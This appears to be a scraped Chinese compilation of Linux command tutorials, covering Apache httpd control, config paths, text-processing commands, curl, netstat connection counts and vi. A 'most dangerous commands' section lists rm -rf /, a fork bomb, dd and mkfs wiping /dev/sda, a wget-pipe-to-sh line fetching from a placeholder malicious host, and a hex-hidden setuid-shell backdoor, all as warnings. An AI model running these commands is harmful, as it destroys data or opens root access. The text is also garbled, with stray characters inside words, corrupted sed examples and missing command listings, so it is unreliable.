linuxhttp命令
『壹』 linux啟動httpd命令
Linux httpd命令是Apache HTTP伺服器程序。httpd為Apache HTTP伺服器程序。直接執行程序可啟動伺服器的服務。
1、apahce啟動命旅蔽令:推薦/usr/local/apache2/bin/apachectl start apaceh啟動
2、apache停止命令:/usr/local/apache2/bin/apachectlstop 停止
3、apache重新啟動命令:/usr/local/apache2/bin/apachectl restart 重啟要在重啟 Apache 伺服器時不中斷當前的連接,則應運行:/usr/local/sbin/apachectl graceful
如果apache安裝成為linux的服務的話,可以用以下命令操作:service httpd start 啟動service httpd restart 重新啟動service httpd stop 停止服務
4.httpd是Apache超文本傳輸協議(HTTP)伺服器的主程序。被設計為一個獨立運行的後台進程,它會建立一個處理請求的子進程或線程的池。
通常,httpd不應該被直接調用,而應該在類Unix系統中由 apachectl 調用,在Windows NT/2000/XP/2003中作為服務運行和在Windows 95/98/ME中作為控制台程序運行。
(1)linuxhttp命令擴展閱讀
linux與windows對比
1、 編程篇
雖然五年已經過去了,但是系統編程的模式基本沒有什麼改變,由於GPL的存在linux在編程效率上比windows要高不少,這是因為GPL公開程序代碼,這樣可以減少重復開發,所以linux在編程模式上比windows要略微強點。
但是須知windows還是常用軟體的主要載體,所以windows下的軟體還是要移植到windows下的,當然有很多軟體還是一直就在windows下開拆森州發的,所以這點windows並不比linux弱的太多。
值得一提的是windows8種引入的windows store,這樣的應用不知道可不可以在linux下開發,貌似目前windows8 app都是在windows8下開發的。
2、運行平台篇
linux系統可以運行在幾乎所有的硬體結構上,無論是intel、amd、arm處理器都可以,甚至我國的龍芯上跑的也是linux。而windows在更新到windows8後也實現了支持intel、amd和arm三大處理器架構。
但是相對而言,windows8 RT只能運行在特定的架構上並且不發售零售版,所以可以暫時不考慮。即linux比windows支持的處理器平台多。
linux下處理器性能能否達到windows的標准還很難說,因為電源管理等諸多問題,linux並不一定能發揮硬體的全部效率。春蘆這點在顯卡上體現的特別明顯。
AMD的顯卡開源驅動只能實現顯卡一半的性能,所以在運行平台上,linux兼容的更多,但是windows更完美,相對而言,只考慮運行平台的話(能用)linux略占優勢。
3、 硬體支持篇
linux的硬體支持除了顯卡外我感覺還是和windows保持同步的,比如usb3.0,HDMI等但在顯卡方面,尤其是雙顯卡方面linux就和windows差距明顯了,linux目前還沒有可靠的雙顯卡交火或者雙顯卡交互手段,所以就憑這一點linux在硬體支持方面占極大劣勢,
因為沒有雙顯卡支持會導致雙顯卡一直通電,能耗直線上升! 雖然linux的新內核早已解決了這個問題,但是linux下顯卡驅動的不足也導致這方面問題沒有根本解決。
4、網路篇
個人感覺除了google的chorme os外linux的網路已經發展的登峰造極了,linux對網路的利用率是非常高的,畢竟GPL的基本交流手段就是網路,所以網路功能上linux很給力的,至於ipv6什麼的windows和linux早就一樣哈皮了。
不過有一點就是flash player上的問題制約了linux網路媒體的應用,因為flash player在linux佔用的資源過高,導致性能下降??
5、 設備驅動篇
這個linux基本上什麼設備都能認出來,但是能驅動的設備顯然沒有windows多,畢竟除了arm處理器外基本上每個硬體都會為windows寫驅動,但是能為linux寫驅動的就不多了,很多linux驅動是用開源驅動的,這樣的話效率??
所以個人感覺windows的驅動比linux下強。
6、 UNIX能力篇
這個,我不太同意原作者設立這個指標的,畢竟linux是unix like系統,而windows和這個不沾邊??所以UNIX能力肯定是linux強啊,但是不是還有原版的unix么,所以這點應該列入評價指標。
7、性能篇
這個是很重要的一點,原作者分為開放性、多用戶和多任務三個方面來進行的對比。開放性其實linux和windows都一樣的,都很開放,不過windows8相比前輩們有點保守,所以linux的開放性應該更好點。
多用戶方面,linux和windows都支持多個用戶,但是linux可以多用戶同時登陸,不過考慮到個人電腦的情況,這個指標一般沒有什麼用。所任務,這點有很多測評,大家可以去網路或者google一下,一般大家都認為linux效率更高一點。
8、創新篇
我實際上很反對這種為了創新而創新的對比方式的。windows和linux都是操作系統,為了實現類似的功能,出現多多少少一些類似是正常的。
就開發狀態而言,linux是開源的,而windows不開源,所以linux應該高點,但是不要忘了windows系統也能得到全世界的很多第三方軟體的支持,所以創新性而言雙方並沒有可比性,因該是在同一水平。
9、病毒防護篇
這一點毫無疑問是linux獲勝,目前世界上還沒有一種可以在linux下大規模泛濫的病毒,而且linux的安全性完全是建立在其保守的內核設計上的,所以linux是很安全的。相對於windows雖然windows8在win7的基礎上又提高了很多,但是與linux還是有差距的。
實際上,為了保證用戶體驗,很多時候windows是必須犧牲防護性能的,所以能做到這點已經非常不容易了,真要超級安全的還FreeBSD是不是更安全呢?
10、穩定篇
系統穩定性上我感覺linux與windows不相上下,因為windows與linux都會崩潰,雖然windows崩潰原因很多,而linux崩潰大部分是有誤操作,但是二者的差距真心沒有那麼大,而且windows實際上出現藍屏代碼什麼的故障次數也已經比以前少多了。
『貳』 linux當中怎麼樣如何列出http軟體的主配置和子配置
在 Linux 操作系統中,可以使用以下命令列出 HTTP 伺服器軟體(如 Apache、Nginx 等)的主配置文件和子配置文件:
Apache HTTP Server:
主配置文差陵件:/etc/httpd/conf/httpd.conf
子配置文件:/etc/httpd/conf.d/*.conf
2.Nginx HTTP Server:
主配置文件:/etc/nginx/nginx.conf
子配置文件:/etc/nginx/conf.d/*.conf
Apache HTTP Server:httpd -V
Nginx HTTP Server:nginx -V
這些文件的位置可能因不同的發行版或安裝方式而有所不同。可以使用以下命令來查找文件的位置:
注意:需要使用 root 許可權或者具有相應許可權的用戶才能查看或修改這些文件。
在這些文件中,通常會包含服務鄭碧器的基本配置、虛擬主機的配置、安全設置、日誌設置等內容。用戶可以根據自己的需要修改這些配置喊慶舉,使伺服器更好地滿足自己的需求。
『叄』 如何修改linux中HTTP默認目錄
在Linux中,HTTP伺服器的默認目錄通常是/var/www/html。要修改它,可以按照以下步驟進行操作:
1. 打開Apache配置文件httpd.conf。該文件通常位於/etc/httpd/conf/或/etc/apache2/目錄下。
2. 找到DocumentRoot指令,並將其值更改為您想要的目錄路徑。例如,如果您想將默認目錄更改為/home/user/public_html,則應將DocumentRoot指令更改為:
DocumentRoot "/home/user/public_html"
3. 找到
指令,並將其值更改為您想要的目錄路徑。例如,如果仿伍您想將默認目錄更改為/home/user/public_html,則應將指令更改為:
4. 保存並關閉文件。
5. 重新啟動Apache伺服器以使更改生效。在大多數情況下,可以使用以下命令來重新啟動Apache伺服器:
sudo service httpd restart
或者
sudo service apache2 restart
注意:以上步驟假設您正在使用Apache作為HTTP伺服器。如岩大纖果您使粗仿用的是其他HTTP伺服器(如Nginx),則需要相應地修改配置文件。
『肆』 Linux 高級命令
echo "HelloWorld"
向控制台輸出HelloWorld信息
Linux允許將命令執行結果重定向到一個文件,本應顯示在終端上的內容保存到指定文件中。
ls > test.txt
test.txt 如果不存在,則創建,存在則覆蓋其內容
注意: > 輸出重定向會覆蓋原來的內容, >> 輸出重定向則會追加到文件的尾部
cat xxx.py 可以用來快速查看某個文件內容,輸出到控制台
cat test.txt >> haha.txt 將test.txt的內容追加到haha.txt中
cat 1.txt 2.txt > 1_2.txt 將1.txt 2.txt內容合並到1_2.txt中
分屏顯示:more
查看內容時,在信息過長無法在一屏上顯示時,會出現快速滾屏,使得用戶無法看清文件的內容,此時可以使用more命令,從頭開始,每次只顯示一頁,空格鍵顯示下一頁,b鍵上一頁,按下q鍵退出顯示,按下h鍵可以獲取幫助。
more xxx.py
管道:一個命令的輸出可以通過管道做為另一個命令的輸入。
管道我們可以理解現實生活中的管子,管子的一頭塞東西進去,另一頭取出來,這里「 | 」的左右分為兩端,左端塞東西(寫),右端取東西(讀)。即管道左邊的輸出結果作為管道右側的參數
cat info.txt | more
tree | more
::: warning
more管道符讀到的內容只能前進,不能後退;只能使用空格或回車向下看,不能使用b回看
:::
Linux鏈接文件類似於Windows下的快捷方式。
鏈接文件分為軟鏈接和硬鏈接。
ln -s 源文件 鏈接文件
ln 源文件 鏈接文件
沒有-s 選項代表建立一個硬鏈接文件,兩個文件佔用相同大小的硬碟空間,即使刪除了源文件,鏈接文件還是存在,一般用於保護系統重要的文件。所以-s選項是更常見的形式。
::: warning 注意
如果軟鏈接文件和源文件不在同一個目錄,源文件要使用絕對路徑,不能使用相對路徑。
:::
find命令功能非常強大,通常用來在特定的目錄下搜索符合條件的文件,也可以用來搜索特定用戶屬主的文件。
常用用法:
Linux系統中grep命令是一種強大的文本搜索工具,grep允許對文本文件進行模式查找。如果找到匹配模式, grep列印包含模式的所有行。
grep一般格式為:
在grep命令中輸入字元串參數時,最好用引號或雙引號括起來。
例如:
從某個文件搜索
搜索當前目錄所有文件
常用選項說明:**
grep搜索內容串可以是正則表達式。
正則表達式是對字元串操作的一種邏輯公式,就是用事先定義好的一些特定字元、及這些特定字元的組合,組成一個「規則字元串」,這個「規則字元串」用來表達對字元串的一種過濾邏輯。
grep常用正則表達式:
計算機中的數據經常需要備份,tar是Unix/Linux中最常用的備份工具,此命令可以把一系列文件歸檔到一個大文件中,也可以把檔案文件解開以恢復數據。
tar使用格式:
tar [參數] 打包文件名 文件
tar命令很特殊,其參數前面可以使用「-」,也可以不使用。
常用參數:
注意:除了f需要放在參數的最後,其它參數的順序任意。
常用命令:
tar與gzip命令結合使用實現文件打包、壓縮。 tar只負責打包文件,但不壓縮,用gzip壓縮tar打包後的文件,其擴展名一般用xxxx.tar.gz。也會見到縮寫的.tgz這種擴展名。
gzip使用格式如下:
常用選項:
tar這個命令並沒有壓縮的功能,它只是一個打包的命令,但是在tar命令中增加一個選項 -z 可以調用gzip實現壓縮的功能,最終實行一個先打包後壓縮的過程。
-z :指定壓縮包的格式為 xxx.tar.gz
tar壓縮: tar zcvf xxx.tar.gz 文件1 文件2 ...
tar解壓: tar zxvf xxx.tar.gz
解壓到指定目錄: tar zxvf xxx.tar.gz -C target_dir/ (大寫字母「C」)
tar與bzip2命令結合使用實現文件打包、壓縮(用法和gzip一樣)。
tar只負責打包文件,但不壓縮,用bzip2壓縮tar打包後的文件,其擴展名一般用xxxx.tar.bz2。
在tar命令中增加一個選項(-j)可以調用bzip2實現了一個壓縮的功能,實行一個先打包後壓縮的過程。
壓縮用法 : tar -jcvf 壓縮包包名 文件1 文件2... (例: tar jcvf bak.tar.bz2 *.c )
解壓用法 : tar -jxvf 壓縮包包名 (例: tar jxvf bak.tar.bz2 )
通過zip壓縮文件的目標文件不需要指定擴展名,默認擴展名為zip。
壓縮文件 :zip [-r] 目標文件(沒有擴展名) 源文件
解壓文件 :unzip -d 解壓後目錄文件 壓縮文件
使用tree命令可以查看指定目錄的樹狀結構
有時我們想知道被執行的命令在哪個目錄,以方便切換或更新不同版本,如Python。可以使用 which 命令
文件內容為:123 aaa bbb哈
執行 echo "123 aaa bbb哈" > xxx.txt
wc -l xxx.txt 文件內容的行數1
wc -w xxx.txt 文件內容的單詞數3
wc -c xxx.txt 文件內容的位元組數15
wc xxx.txt 文件內容的行數,單詞數,位元組數1 3 15
wc -m xxx.txt 文件的字元數13
sed 是一種流編輯器,它是文本處理中非常中的工具,能夠完美的配合正則表達式使用。一般用於自動編輯轉換程序,動態調整文件內容。
sed 's/good/GOODS/' file 替換每行第一個指定字元串(輸出所有行)
sed -n 's/good/GOODS/p' file 替換每行第一個指定字元串(只輸出替換的行)
sed -i 's/good/GOODS/g' file 替換所有指定字元串,並應用到文件
sed ƈd' file 刪除第二行
sed '/^test/d' 刪除good開頭的行
sed -n Ɖp' file 列印第3行
顯示當前時間 # Tue May 7 14:35:31 DST 2019
當前日期和時間 # 20190507-14:34:25
使用history命令可以查看之前輸過的命令及其id,
使用 !id 的形式,可以快速執行指定歷史命令
Linux命令大全: http://man.linuxde.net/
菜鳥Linux命令: https://www.runoob.com/linux/linux-command-manual.html
『伍』 Linux中最危險的10個命令
Linux中最危險的10個命令
對於編程人員或或者Linux系統管理員來說,操作Linux系統最常見的方法就是使用命令行。當然,Linux命令行佷有用、很高效,但有時候也很危險,尤其是在你誤操作或者不確定你自己在正在做什麼的時候。下面我就為大家盤點最危險是10個命令,一起來看看吧!
當然,以下命令通常都是在root許可權下才能將愚蠢發揮到無可救葯;在普 通用戶身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。下列是一些rm 命令的選項。
rm命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯註:個人認為此處應該是說錯了,從常識看,應該是“甚至是非空的文件夾”)
rm -f 命令能不經過詢問直接刪除‘只讀文件’。(譯註:Linux下刪除文件並不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫許可權。所以,-f這個參數 只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm通過別名的方式增加-i參數來 要求刪除確認,而-f則抑制了這個提示。)
rm -rf / : 強制刪除根目錄下所有東東。(就是說刪除完畢後,什麼也沒有了。。。)
rm -rf *:強制刪除當前目錄的所有文件。
rm -rf . : 強制刪除當前文件夾及其子文件夾。
從 現在起,當你要執行rm -rf命令時請留心一點。我們可以在“.bashrc”文件對‘rm‘命令創建rm -i的別名,來預防用 ‘rm‘命令刪除文件時的事故,它會要求你確認每一個刪除請求。(譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用-f參數前一定考慮好 你在做什麼!譯者本人有著血淚的教訓啊。)
2. :(){:|:&};: 命令
這就是個fork 炸彈的實例。具體操作是通過定義一個名為 ‘:‘的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
:(){:|:&};:
哦?你確認你要試試么?千萬別在公司正式的伺服器上實驗啊~~
3. 命令> /dev/sda
上列命令會將某個‘命令‘的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4. mv 文件夾 /dev/null
這 個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。(譯註:這就是黑洞啊。當然,要說明的是,通過將文件夾移動到黑洞,並不能阻止 數據恢復軟體的救贖,所以,真正的`徹底毀滅,需要採用專用的軟體或者手法來完成——我知道你肯定有些東西想刪除得乾乾凈凈的。)
# mv /home/user/* /dev/null
上列命令會將User目錄所有內容移動到/dev/null,這意味著所有東西都被‘捲入’黑洞(null)之中。
5. wget http://malicious_source -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。
注意: 你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯註:所以,你真的知道你在做什麼嗎?當遇到這種需要是,我的做法是,先wget下來,然後我去讀一讀其中到底寫了些什麼,然後考慮是否執行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設備‘sda’,你無疑知道在執行上列命令後你的塊設備(硬碟驅 動器)會被格式化,嶄新的!沒有任何數據,直接讓你的系統達到不可恢復的階段。(譯註:通常不會直接使用/dev/sda這樣的設備,除非是作為raw設 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區後才使用。當然,無論你使用sda還是sda1,這樣對塊設備或分區進行mkfs都是毀 滅性的,上面的數據都會被蒸發了。)
7. > file
上列命令常用來清空文件內容(譯註:通常也用於記錄命令輸出。 不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了——連數據恢復軟體都未必能幫助你了。另外,我想你可能真正想用的是 “>>”,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執行時輸入錯誤或無知的輸入類似 “>xt.conf”的命令會覆蓋配置文件或其他任何的系統配置文件。
8. ^foo^bar
這個命令在“鮮為人知而又實用的 Linux 命令大全:http://blog.csdn.net/zhu_xun/article/details/17018799”中描述過,用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。(譯註:事實上,這種小技巧是譯者認為的,少數史前時代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然!你的系統可能陷入混亂和不可恢復的狀態。(譯註:記得上面說過mv到黑洞並不能徹底刪除數據么?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。)
10. 隱藏命令
下面的命令其實就是上面第一個命令 (rm -rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區。
這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。不要編譯/運行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “″“″“″“″“″“″“x6ex2fx73x68x00x2dx63x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學或學校的電腦里的Linux終端或Shell執行以上的任何一個命令,因為這將導致數據丟失或者系統崩潰。如果你想測試它們,請在虛擬機上運行。
;『陸』 linux從文本界面怎麼訪問網站
可以使用curl 命令實現。
1、Curl是Linux下一個很強大的http命令行伏派工具,缺基賀其功能十分強大。
2、下面的例子只作為示範,與真實網站無關:讀取網頁
$ curl http://www..com。
『柒』 Linux運維命令Curl - 日常用法總結
在Linux系統中,curl是一個利用URL規則在命令行下工作的文件傳輸工具,可以說是一款很強大的http命令行工具。它支持文件的上傳和下載操作,是綜合傳輸工具,習慣上稱url為下載工具。下面就日常運維中基於curl命令使用做下總結
一、Curl命令用法
1. curl語法和參數選項
# curl [option] [url]
curl常見參數
2. curl使用說明
curl是一種命令行工具,作用是發出網路請求,然後得到和提取數據,顯示在"標准輸出"(stdout)上面。它支持多種協議,下面說下curl命令的日常使用示例:
3. curl上傳文件的用法(POST請求方式)
一般來說,我們都會用curl下載網頁,但是curl上傳文件則不常用。下面說下curl模擬"multipart/form-data"形式的form上傳文件, 命令稍稍復雜些。
4. curl常用示例
5. curl命令的超時時間
二、Curl的GET、POST、PUT、DELETE請求
1. GET、POST、PUT、DELETE含義與區別
2. GET、POST、PUT、DELETE四種請求方式的curl訪問
『捌』 查看當前linux有多少條http鏈接 的命令語句
1、查看apache當前並發訪問數:
#對比httpd.conf中MaxClients的數字差距多少。
netstat -an | grep ESTABLISHED | wc -l
2、查看httpd進程數(即prefork模式下Apache能夠處理的並發請求數):
ps aux|grep httpd|wc -l
3、可以使用如下參數查看數據
ps -ef|grep httpd|wc -l
#1388
#統計httpd進程數,連個請求會啟動一個進程,使用於Apache伺服器。
#表示Apache能夠處理1388個並發請求,這個值Apache可根據負載情況自動調整臘頌。
netstat -nat|grep -i "80"|wc -l
#4341
#netstat -an會列印系統當前網路鏈接狀態,而grep -i "80"是用來提取與80埠有關的連接的,wc -l進行連接數統計。
#最終返回的數字就是當前所有80埠的請求總數。
netstat -na|grep ESTABLISHED|wc -l
#376
#netstat -an會列印系統當前網路鏈接狀態,而grep ESTABLISHED 提取出已建立連接的信息。輪枝鄭 然後wc -l統計。
#最終返回的數字就是當前所有80埠的已建立連接的總數。
netstat -nat||grep ESTABLISHED|wc
#可查看所有建立連接的詳細記錄
4、查看Apache的並發請求數及其TCP連接狀態:
netstat -n | awk '/^tcp/ {++S[$NF]} END {for (a in S) print a, S[a]}'
(這條語句是從 新浪互動社區事業部 新浪互動社區事業部技術總監王老大那兒獲得的,非常不錯)返回結果示例:
LAST_ACK 5
SYN_RECV 30
ESTABLISHED 1597
FIN_WAIT1 51
FIN_WAIT2 504
TIME_WAIT 1057
其搭跡中:
SYN_RECV表示正在等待處理的請求數;
ESTABLISHED表示正常數據傳輸狀態;
TIME_WAIT表示處理完畢,等待超時結束的請求數。
5、輸出每個ip的連接數,以及總的各個狀態的連接數
netstat -n | awk '/^tcp/ {n=split($(NF-1),array,":");if(n<=2)++S[array[(1)]];else++S[array[(4)]];++s[$NF];++N} END {for(a in S){printf("%-20s %s\n", a, S[a]);++I}printf("%-20s %s\n","TOTAL_IP",I);for(a in s) printf("%-20s %s\n",a, s[a]);printf("%-20s %s\n","TOTAL_LINK",N);}'
『玖』 Linux常用基本命令大全介紹
學習Linux系統,命令是最基礎的一部分,有著很重要的地位,所以入門必須掌握好常用命令。下面由我為大家整理了Linux系統常用的基本命令入門篇,希望對大家有幫助!
Linux系統常用的基本命令入門篇一、基礎命令
1.Linu x的進 入與退出系統
進入Linux系統:
必須要輸入用戶的賬號,在系統安裝過程中可以創建以下兩種帳號:
1.root--超級用戶帳號(系統管理員),使用這個帳號可以在系統中做任何事情。
2.普通用戶--這個帳號供普通用戶使用,可以進行有限的操作。
一般的Linux使用者均為普通用戶,而系統管理員一般使用超級用戶帳號完成一些系統管理的工作。如果只需要完成一些由普通帳號就能完成的任務,建議不要使用超級用戶帳號,以免無意中破壞系統。影響系統的正常運行。
用戶登錄分兩步:第一步,輸入用戶的登錄名,系統根據該登錄名識別用戶;第二步,輸入用戶的口令,該口令是用戶自己設置的一個字元串,對其他用戶是保密的,是在登錄時系統用來辨別真假用戶的關鍵字。
當用戶正確地輸入用戶名和口令後,就能合法地進入系統。屏幕顯示:
[root@loclhost/root] #
這時就可以對系統做各種操作了。注意超級用戶的提示符是“#”,其他用戶的提示符是“$”。
2.修改口令
為了更好的保護用戶帳號的安全,Linux允許用戶隨時修改自己的口令,修改口令的命令是passwd,它將提示用戶輸入舊口令和新口令,之後還要求用戶再次確認新口令,以避免用戶無意中按錯鍵。如果用戶忘記了口令,可以向系統管理員申請為自己重新設置一個。
3.虛擬控制台
Linux是一個真正的多用戶 操作系統 ,它可以同時接受多個用戶登錄。Linux還允許一個用戶進行多次登錄,這是因為Linux和UNIX一樣,提供了虛擬控制台的訪問方式,允許用戶在同一時間從控制台進行多次登錄。虛擬控制台的選擇可以通過按下Alt鍵和一個功能鍵來實現,通常使用F1-F6例如,用戶登錄後,按一下Alt-F2鍵,用戶又可以看到"login:"提示符,說明用戶看到了第二個虛擬控制台。然後只需按Alt-F1鍵,就可以回到第一個虛擬控制台。 一個新安裝的Linux系統默認允許用戶使用Alt-F1到Alt-F6鍵來訪問前六個虛擬控制台。虛擬控制台可使用戶同時在多個控制台上工作,真正體現Linux系統多用戶的特性。用戶可以在某一虛擬控制台上進行的工作尚未結束時,切換到另一虛擬控制台開始另一項工作。
退出系統
不論是超級用戶,還是普通用戶,需要退出系統時,在shell提示符下,鍵入exit命令即可。
4.查看命令幫助信息
man命令
man命令用於查詢命令和程序的使用 方法 和參數。
例如:
man ls
將顯示ls命令的基本格式和使用方法
Linux系統常用的基本命令入門篇二、關機重啟命令
首先,是關機/重啟命令,僅在虛擬機時使用,實際工作中用不到
reboot 一般不跟參數使用,輸入指令即可重啟
shutdown 一般需要跟參數,例:
shutdown -r 延時多少分鍾重啟,一般使用now
shutdown -r now 立即重啟
shutdown -f 強制重啟
跟windows一樣,linux也存在注銷功能
exit
1)halt
halt 可不接參數
halt -f 強制關機
2)poweroff
poweroff 可不接參數使用
poweroff -f 強制關機
3)init 0
4)shutdown 不可單獨使用
shutdown -h 分鍾數 延時多久關機
shutdown -h now 立即關機
Linux系統常用的基本命令入門篇三、vi編輯
vi命令是UNIX操作系統和類UNIX操作系統中最通用的全屏幕純文本編輯器。
Linux中的vi編輯器叫vim,它是vi的增強版(vi Improved),與vi編輯器完全兼容,而且實現了很多增強功能。
vi編輯器支持編輯模式和命令模式,編輯模式下可以完成文本的編輯功能,命令模式下可以完成對文件的操作命令,要正確使用vi編輯器就必須熟練掌握著兩種模式的切換。
默認情況下,打開vi編輯器後自動進入命令模式。從編輯模式切換到命令模式使用“esc”鍵,從命令模式切換到編輯模式使用“A”、“a”、“O”、“o”、“I”、“i”鍵。
vi編輯器提供了豐富的內置命令,有些內置命令使用鍵盤組合鍵即可完成,有些內置命令則需要以冒號“:”開頭輸入。常用內置命令如下:
1 Ctrl+u:向文件首翻半屏;
2 Ctrl+d:向文件尾翻半屏;
3 Ctrl+f:向文件尾翻一屏;
4 Ctrl+b:向文件首翻一屏;
5 Esc:從編輯模式切換到命令模式;
6 ZZ:命令模式下保存當前文件所做的修改後退出vi;
7 :行號:游標跳轉到指定行的行首;
8 :$:游標跳轉到最後一行的行首;
9 x或X:刪除一個字元,x刪除游標後的,而X刪除游標前的;
10 D:刪除從當前游標到游標所在行尾的全部字元;
11 dd:刪除游標行正行內容;
12 ndd:刪除當前行及其後n-1行;
13 nyy:將當前行及其下n行的內容保存到寄存器?中,其中?為一個字母,n為一個數字;
14 p:粘貼文本操作,用於將緩存區的內容粘貼到當前游標所在位置的下方;
15 P:粘貼文本操作,用於將緩存區的內容粘貼到當前游標所在位置的上方;
16 /字元串:文本查找操作,用於從當前游標所在位置開始向文件尾部查找指定字元串的內容,查找的字元串會被加亮顯示;
17 ?name:文本查找操作,用於從當前游標所在位置開始向文件頭部查找指定字元串的內容,查找的字元串會被加亮顯示;
18 a,bs/F/T:替換文本操作,用於在第a行到第b行之間,將F字元串換成T字元串。其中,“s/”表示進行替換操作;
19 a:在當前字元後添加文本;
20 A:在行末添加文本;
21 i:在當前字元前插入文本;
22 I:在行首插入文本;
23 o:在當前行後面插入一空行;
24 O:在當前行前面插入一空行;
25 :wq:在命令模式下,執行存檔退出操作;
26 :w:在命令模式下,執行存檔操作;
27 :w!:在命令模式下,執行強制存檔操作;
28 :q:在命令模式下,執行退出vi操作;
29 :q!:在命令模式下,執行強制退出vi操作;
30 :e文件名:在命令模式下,打開並編輯指定名稱的文件;
31 :n:在命令模式下,如果同時打開多個文件,則繼續編輯下一個文件;
32 :f:在命令模式下,用於顯示當前的文件名、游標所在行的行號以及顯示比例;
33 :set nu:在命令模式下,用於在最左端顯示行號;
34 :set nonu:在命令模式下,用於在最左端不顯示行號;
35 :1,3y 復制第一行到第三行
36 :1,3d 刪除第一行到第三行
37 :1,3s/str/str_new/g 替換第一行到第三行中的字元串
38 :1,3s/str/str_new 替換第一行到第三行中的字元串第一個字元
39 :1,3 g/str /d 刪除第一行到第三行中含有這個字元串的行
Linux常用命令一、查詢相關
find
按規則查找某個文件或文件夾,包括子目錄
find . -name '_sh' -- 以.sh結尾的文件
find . -name '_hannel_ -- 包含channel字元的文件
find . -name 'build_ -- 以build開頭的文件
find . -name 'abc??' -- abc後面有兩個字元的文件
grep
查找內容包含指定的範本樣式的文件,Global Regular Expression Print
grep -n pattern files -- 規則 -n表示顯示行號
grep -n 'PostsActivity' AndroidManifest.xmlgrep -n 'd' AndroidManifest.xmlgrep 'aapt' build-channel.xml -- 文件中包含字元串的所有地方
grep -n 'aapt' build-channel.xml -- 文件中包含字元串的所有地方,並顯示行號
ps -e | grep java -- 所有java進程
ps -e | grep -i qq --所有qq進程,不區分大小寫
find . -name '_hannel.xml' | xargs grep -n 'aapt' -- 在以channel.xml結尾的文件中查找包含‘aapt’關鍵字的地方
ls | grep 'channel' -- 包含channel關鍵字的文件
which
在PATH變數指定的路徑中,搜索某個系統命令的位置,並且返回第一個搜索結果
which zipwhich grep
Linux常用命令二、查看命令
tail
tail [-f] [-c Number | -n Number | -m Number | -b Number | -k Number] [File]
從指定點開始將文件寫到標准輸出。使用tail命令的-f選項可以方便的查閱正在改變的日誌文件,tail -f filename會把filename里最尾部的內容顯示在屏幕上,並且不斷刷新,使你看到最新的文件內容。
tail -f test.log,循環查看文件內容,Ctrl+c來終止
tail -n 5 test.log,顯示文件最後5行內容
tail -n +5 test.log,從第5行開始顯示文件
more
more [-dlfpcsu] [-num] [+/ pattern] [+linenum] [file...]
more命令和cat的功能一樣都是查看文件里的內容,但有所不同的是more可以按頁來查看文件的內容,還支持直接跳轉行等功能。
more +3 test.log,顯示文件中從第3行起的內容
more -5 test.log,設定每屏顯示行數
ls -l | more -5,每頁顯示5個文件信息
more +/day3 test.log,查找第一個出現"day3"字元串的行,並從該處前兩行開始顯示輸出
less
less [options] [file...]
與more命令一樣,less命令也用來分屏顯示文件的內容。但是二者存在差別:less命令允許用戶向前或向後瀏覽文件,而more命令只能向前瀏覽。用less命令顯示文件時,用PageUp鍵向上翻頁,用PageDown鍵向下翻頁。要退出less程序,應按Q鍵。
less test.log,查看文件
ps -ef | less,查看進程信息並通過less分頁顯示
history | less,查看命令歷史使用記錄並通過less分頁顯示
less test1.log test2.log,瀏覽多個文件,n和p切換文件
watch
watch [options] command
每隔一段時間重復運行一個命令,默認間隔時間是2秒。要運行的命令直接傳給shell(注意引用和轉義特殊字元)。結果會展示為全屏模式,這樣你可以很方便的觀察改變
watch -n 60 date,執行date命令每分鍾一次,輸入^C 退出
watch -d ls -l,查看目錄變化
watch -d ’ls -l | fgrep joe’,想找joe用戶的文件
watch -d 'ls -l|grep scf',監測當前目錄中 scf' 的文件的變化
watch -n 10 'cat /proc/loadavg',10秒一次輸出系統的平均負載
watch -n 1 -d netstat -ant,每隔一秒高亮顯示網路鏈接數的變化
watch -n 1 -d 'pstree | grep http',每隔一秒高亮顯示http鏈接數的變化
Linux常用命令三、文件相關
vi
vi file
按i鍵,進入編輯模式
按esc鍵,進入命令模式
:w 保存文件但不退出vi
:w file 將修改另外保存到file中,不退出vi
:w! 強制保存,不推出vi
:wq 保存文件並退出vi
:wq! 強制保存文件,並退出vi
q: 不保存文件,退出vi
:q! 不保存文件,強制退出vi
:e! 放棄所有修改,從上次保存文件開始再編輯
chmod
change mode,變更文件或目錄的讀、寫、運行許可權
chmod [-cfvR] [--help] [--version] mode file...
mode:許可權設定字串,格式如下 : [ugoa...][[+-=][rw xX ]...][,...]
u 表示該檔案的擁有者,g 表示與該檔案的擁有者屬於同一個群體(group)者,o 表示其他以外的人,a 表示這三者皆是
+ 表示增加許可權、- 表示取消許可權、= 表示唯一設定許可權。
